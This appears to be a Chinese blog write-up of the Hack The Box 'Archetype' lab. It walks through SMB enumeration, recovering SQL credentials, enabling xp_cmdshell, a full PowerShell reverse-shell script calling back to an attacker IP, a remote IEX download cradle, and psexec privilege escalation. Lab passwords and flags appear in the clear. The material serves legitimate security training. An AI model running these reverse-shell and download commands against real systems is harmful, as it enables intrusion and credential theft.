HackBox---ArcheType

# ArcheType

# 一、问题

  • Which TCP port is hosting a database server?(哪个 TCP 端口托管数据库服务器?)
    • 1433
  • What is the name of the non-Administrative share available over SMB?(SMB 上可用的非管理共享的名称是什么?)
    • backups
  • What is the password identified in the file on the SMB share?(SMB 共享文件中标识的密码是什么?)
    • M3g4c0rp123
  • What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?(可以使用 Impacket 集合中的哪个脚本来建立与 Microsoft SQL Server 的身份验证连接?)
  • What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?(可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令 shell?)
    • xp_cmdshell
  • What script can be used in order to search possible paths to escalate privileges on Windows hosts?(可以使用什么脚本来搜索可能的路径以升级 Windows 主机上的权限?)
    • winpeas
  • What file contains the administrator’s password?(哪个文件包含管理员密码?)
    • ConsoleHost_history.txt

# 二、过程

  • 首先获取到靶场 IP 地址:10.129.147.7
  • 一般的渗透思路都是域名 - IP - 端口 - 服务,这里已经给出 IP,所以下一步考虑这个 IP 下开了哪些端口,端口上又有什么服务
1
nmap -sC -sV 10.129.147.7

根据第二个问题需要用到 SMB,所以得用 Kali 中自带的 smbclient (smbclient 命令属于 samba 套件,它提供一种命令行使用交互式方式访问 samba 服务器的共享资源。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
smbclient -N -L 10.129.147.7

-B<ip地址>:传送广播数据包时所用的IP地址;
-d<排错层级>:指定记录文件所记载事件的详细程度;
-E:将信息送到标准错误输出设备;
-h:显示帮助;
-i<范围>:设置NetBIOS名称范围;
-I<IP地址>:指定服务器的IP地址;
-l<记录文件>:指定记录文件的名称;
-L:显示服务器端所分享出来的所有资源;
-M<NetBIOS名称>:可利用WinPopup协议,将信息送给选项中所指定的主机;
-n<NetBIOS名称>:指定用户端所要使用的NetBIOS名称;
-N:不用询问密码;
-O<连接槽选项>:设置用户端TCP连接槽的选项;
-p<TCP连接端口>:指定服务器端TCP连接端口编号;
-R<名称解析顺序>:设置NetBIOS名称解析的顺序;
-s<目录>:指定smb.conf所在的目录;
-t<服务器字码>:设置用何种字符码来解析服务器端的文件名称;
-T<tar选项>:备份服务器端分享的全部文件,并打包成tar格式的文件;
-U<用户名称>:指定用户名称;
-w<工作群组>:指定工作群组名称。

image-20230211175123427

  • 下来就是进入到这个 backups 里面看看里面都有什么东西
1
2
3
4
smbclient -N //10.129.147.7/backups
ls
get prod.dtsConfig
cat prod.dtsConfig ---重新启动一个终端

image-20230211175644838

1
2
3
4
5
6
7
8
DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
  • 找到账号和密码,下一步就是利用这个账号和密码登录这个 SQL
  • Kali 中使用了 impacket-mssqlclient 工具连接 SQL,这是第三方工具需要从 github 上下载
1
2
3
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install

image-20230211180809997

  • 使用 SELECT IS_SRVROLEMEMBER('sysadmin') 查看当前是否有 sysadmin(最高级别)的 SQL Server 权限,返回 1,则表示具有该权限

image-20230211181030596

  • 有了权限使用 xp_cmdshell 并在主机上获得 RCE
1
2
3
4
5
6
enable_xp_cmdshell             //开启xp_cmdshell,如果不能则需要执行下边几行命令
EXEC sp_configure 'Show Advanced Options', 1; //允许修改数据库高级配置选项
reconfigure; //确认上面的操作
EXEC sp_configure 'xp_cmdshell', 1; //启用xp_cmdshell,允许SQL server执行系统命令
reconfigure; //确认上面的操作
xp_cmdshell "whoami" //查看当前权限

image-20230211181532383

往下就是要反弹 shell

在桌面新建一个文件 shell.ps1,在文件当中写入如下内容:

1
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.93",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

把里面的 IP 换成本地 IP 地址 (使用 ifconfig— 然后查看 tun0 的 IP)

重新开启两个终端一个开启 80,一个开启 443

1
2
python3 -m http.server 80
nc -lvnp 4443

image-20230211191418541

image-20230211191446735

在 SQL 终端下使用

1
xp_cmdshell "powershell "Import-Module Microsoft.PowerShell.Utility;IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.93/shell.ps1\");""

image-20230211191854791

image-20230211191917351

image-20230211191958289

以上在 443 终端下,出现 #号说明反弹成功

此时使用:

1
type C:\Users\sql_svc\Desktop\user.txt

image-20230211192216167

  • 拿到第一个 flag
  • 使用如下命令获取到 powershell 的历史记录
1
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.tx

image-20230211192539209

我们可以看出该用户执行过命令 net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!! 。该命令的作用是将主机 ARchetype 上的 backups 文件夹映射到自己的 T 盘,后面紧随着用户名和密码。

使用命令 impacket-psexec administrator@10.129.147.7 进行提权

image-20230211192843921

type C:\Users\Administrator\Desktop\root.txt 得到最后一个 flag

image-20230211193246449

# 参考链接:


HackBox---ArcheType
https://rofgd.github.io/2022/11/20/HackBox---ArcheType/
作者
ReadPond
发布于
2022年11月20日
许可协议